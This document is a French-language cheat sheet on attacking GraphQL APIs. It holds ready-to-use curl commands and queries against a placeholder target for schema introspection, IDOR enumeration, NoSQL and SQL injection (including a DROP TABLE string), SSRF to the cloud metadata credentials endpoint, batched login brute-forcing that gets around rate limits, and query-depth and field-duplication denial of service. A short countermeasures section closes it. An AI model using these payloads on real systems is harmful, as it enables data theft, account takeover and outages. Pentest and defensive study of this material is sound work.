GraphQL est un langage de requête pour API qui remplace REST. Sa flexibilité et sa puissance introduisent des vecteurs d’attaque spécifiques absents des API REST classiques.

Rappel GraphQL§

# Requête (équivalent GET REST)
query {
  user(id: "1") {
    username
    email
    role
  }
}

# Mutation (équivalent POST/PUT/DELETE)
mutation {
  updateUser(id: "1", role: "admin") {
    id
    role
  }
}

# Subscription (temps réel via WebSocket)
subscription {
  newMessage {
    content
    author
  }
}

Introspection — cartographie du schéma§

L’introspection permet de découvrir l’intégralité du schéma GraphQL : types, requêtes, mutations, champs.

# Requête d'introspection complète
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name fields { name type { name kind } } } } }"}'

# Introspection sur les types spécifiques
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}'

# Récupérer toutes les mutations disponibles
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { mutationType { fields { name args { name type { name } } } } } }"}'

InQL — Burp extension pour GraphQL§

Extension Burp Suite : InQL
→ Charge automatiquement le schéma via introspection
→ Génère toutes les requêtes et mutations possibles
→ Interface pour les tester dans Repeater
# InQL en ligne de commande
pip install inql
inql -t https://target.com/graphql -o ./graphql_schema/
# → Génère des fichiers .graphql pour chaque requête/mutation

Attaques d’introspection§

# Si l'introspection est désactivée en production, tenter des variantes
# Field suggestion (GraphQL suggère les champs proches en cas d'erreur)
{"query": "{ usr { id } }"}
# → Error: "Did you mean 'user'?" → révèle les noms de champs

# Fragment sur __schema (contourne certains filtres)
{"query": "fragment a on __Schema { types { name } } { __schema { ...a } }"}

# Introspection via GET (certains serveurs l'acceptent)
curl "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"

IDOR et BOLA via GraphQL§

# Accès direct à un objet par ID — manque de vérification d'autorisation
query {
  user(id: "2") {      # Changer l'ID pour accéder aux données d'autres utilisateurs
    email
    creditCard
    privateMessages { content }
  }
}

# Énumération d'IDs
query {
  user(id: "1") { email }
}
# Tester 1, 2, 3... dans Intruder Burp → accès aux données de tous les utilisateurs

Injection GraphQL§

# Injection NoSQL dans les arguments
query {
  user(username: {$ne: ""}) {    # Si l'argument est passé directement à MongoDB
    id
    email
    password
  }
}

# Injection SQL dans un argument résolveur
query {
  products(filter: "'; DROP TABLE products; --") {
    name
  }
}

# SSRF via un champ URL
mutation {
  importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
    result
  }
}

Batching Attacks§

GraphQL permet d’envoyer plusieurs opérations dans une seule requête HTTP — contournant les rate limits.

# Batching de requêtes (tableau JSON)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"}
  ]'
# → 1000 tentatives de login en une seule requête HTTP → bypass du rate limit par requête

# Aliases (batching alternatif dans une seule requête)
{
  a1: login(username: "admin", password: "pass1") { token }
  a2: login(username: "admin", password: "pass2") { token }
  a3: login(username: "admin", password: "pass3") { token }
}

Nested Queries — DOS par profondeur§

# Requête profondément imbriquée → explosion exponentielle du coût
query {
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              # ... encore 50 niveaux → serveur surchargé
              email
            }
          }
        }
      }
    }
  }
}

Field Duplication§

# Répéter le même champ des milliers de fois dans une requête
query {
  user(id: "1") {
    email email email email email email email email email email
    # ... × 10000 → DoS par traitement
  }
}

# Alias abuse
query {
  a1: user(id: "1") { email }
  a2: user(id: "1") { email }
  # ... × 1000 → DoS
}

Mass Assignment§

# Si le schéma expose des champs qui ne devraient pas être modifiables
mutation {
  updateProfile(
    name: "alice"
    role: "admin"        # Ce champ ne devrait pas être modifiable
    creditLimit: 999999  # Ni celui-ci
  ) {
    id
    role
    creditLimit
  }
}

Fingerprinting GraphQL§

# Identifier l'implémentation GraphQL (différentes réponses aux erreurs)
curl -X POST https://target.com/graphql -d '{"query": "notAQuery"}'
# Apollo Server → {"errors":[{"message":"Syntax Error...","locations":[...]}]}
# graphql-java  → {"errors":[{"message":"Invalid syntax..."}]}
# Hasura        → {"errors":[{"extensions":{"code":"parse-failed"}}]}

# Endpoint communs à tester
/graphql
/api/graphql
/graphql/v1
/v1/graphql
/api
/query
/gql

# Méthodes GET et POST (certains endpoints GraphQL acceptent GET)
GET /graphql?query={__typename}

Outils§

# Clairvoyance — reconstruit le schéma même si l'introspection est désactivée
# (via field suggestions d'erreur)
pip install clairvoyance
clairvoyance https://target.com/graphql -o schema.json

# graphw00f — fingerprint de l'implémentation GraphQL
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# GraphQL Cop — scanner automatique de misconfigs
pip install graphql-cop
graphql-cop -t https://target.com/graphql -o json

# Altair / GraphiQL (GUI pour tester des requêtes interactivement)

Contre-mesures§

// Désactiver l'introspection en production (Apollo Server)
const server = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production',
});

// Limiter la profondeur des requêtes
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  validationRules: [depthLimit(5)],  // Max 5 niveaux d'imbrication
});

// Limiter la complexité
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const complexityLimit = createComplexityLimitRule(1000);

// Rate limiting sur les opérations (pas seulement les requêtes HTTP)
// Désactiver le batching si non nécessaire
// Apollo Server
const server = new ApolloServer({
  allowBatchedHttpRequests: false,
});

// Authorisation par champ (ne pas exposer des champs sensibles sans vérification)
const resolvers = {
  User: {
    creditCard: (user, args, context) => {
      if (context.user.id !== user.id && !context.user.isAdmin) {
        throw new ForbiddenError("Accès refusé");
      }
      return user.creditCard;
    }
  }
};